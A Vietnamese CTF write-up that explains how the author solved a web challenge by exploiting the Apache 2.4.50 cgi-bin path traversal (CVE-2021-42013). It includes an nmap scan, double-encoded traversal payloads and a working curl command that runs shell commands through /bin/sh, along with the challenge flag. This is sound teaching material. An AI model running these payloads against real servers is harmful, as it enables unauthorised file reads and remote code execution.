FPTU SecAthon 2021 | Web Writeup | IAW301

FPTU SecAthon 2021 | Web Writeup | IAW301

Author: phucdc-noob

IAW301

Đây là một challenge dễ, nhưng thật tiếc vì mình lú nên đã gõ sai một kí tự trong payload mà không biết :'( Xin úp mặt vào tường để tự kiểm điểm :'(

  • Bắt đầu với challenge, ta được cung cấp 2 dữ liệu, file httpd.conf, và gợi ý về flag:

hints

  • httpd.conf là file config của Apache Server, truy cập vào file theo đường dẫn, mình nhận thấy có một số thứ hay ho:
    <Directory "/usr/local/apache2/cgi-bin">
        AllowOverride None
        Options None
        Require all granted
    </Directory>
  • Trong thời gian gần đây, có 2 CVE nổi tiếng liên quan đến 2 phiên bản của Apache và cgi-bin của nó, đó là CVE-2021-41773 (Apache 2.4.49) và CVE-2021-42013 (Apache 2.4.50), đặc điểm chung là lỗi trong việc normalize path ở file util.c khiến tin tặc có thể sử dụng path traversal với payload thường thấy là /cgi-bin/../../../etc.passwd, nhưng, vì util.c đã check dấu . khi normalize path, nên chúng ta sẽ cần dùng tới những payload được encode như /.%2e/ thay cho /../.

  • Tất nhiên, giữa 2 CVE kể trên có sự khác nhau trong payload, vì vậy chúng ta cần check xem Apache đó thuộc phiên bản nào (nếu > 2.4.50 thì kiếp này coi như bỏ :'()

  • Mình thử check với câu lệnh nmap đơn giản sau:

    nmap -A -p8889 139.180.208.121 -vvv

    Và có được kết quả:

          PORT     STATE SERVICE REASON  VERSION
          8889/tcp open  http    syn-ack Apache httpd 2.4.50 ((Unix))
          | http-methods: 
          |   Supported Methods: HEAD GET POST OPTIONS TRACE
          |_  Potentially risky methods: TRACE
          |_http-title: Site doesn't have a title (text/html).
          |_http-server-header: Apache/2.4.50 (Unix)
    
  • Như vậy là Apache 2.4.50, ta có thể dùng %%32%65%%32%65/ hoặc .%%32%65/ thay thế cho ../

  • Có một lưu ý là khi đọc httpd.conf, hãy để ý đến dòng ScriptAlias để biết liệu có alias nào thay cho cgi-bin không, ví dụ như trong bài này:

    ScriptAlias /nothingspecial/ "/usr/local/apache2/cgi-bin/"

  • Và để ý DocumentRoot như trong bài:

    DocumentRoot "/usr/local/apache2/htdocs"

  • Như vậy để truy cập được / thì ta cần 4 cặp ../, thay thế alias và 2 cách encode đã kể trên, ta có payload:

    /nothingspecial/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag

  • Nhưng, như vậy liệu có đúng? Thử với curl và đây là kết quả:

    IAW301_2

  • Thực tế có một cách khác, ta sẽ dùng đến /bin/sh và option --data của curl để mở file, đơn giản như sau:

          curl 'http://139.180.208.121:8889/nothingspecial/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo; cat ../flag'
    
  • Và đây là kết quả:

    IAW301_3

  • Flag: FUSEC{970c5c12bc41fd2783748e73fccf99b0}

Xin lỗi cả team noname vì mỡ đến miệng rồi mà để tuột mất vì một dấu % thừa :'(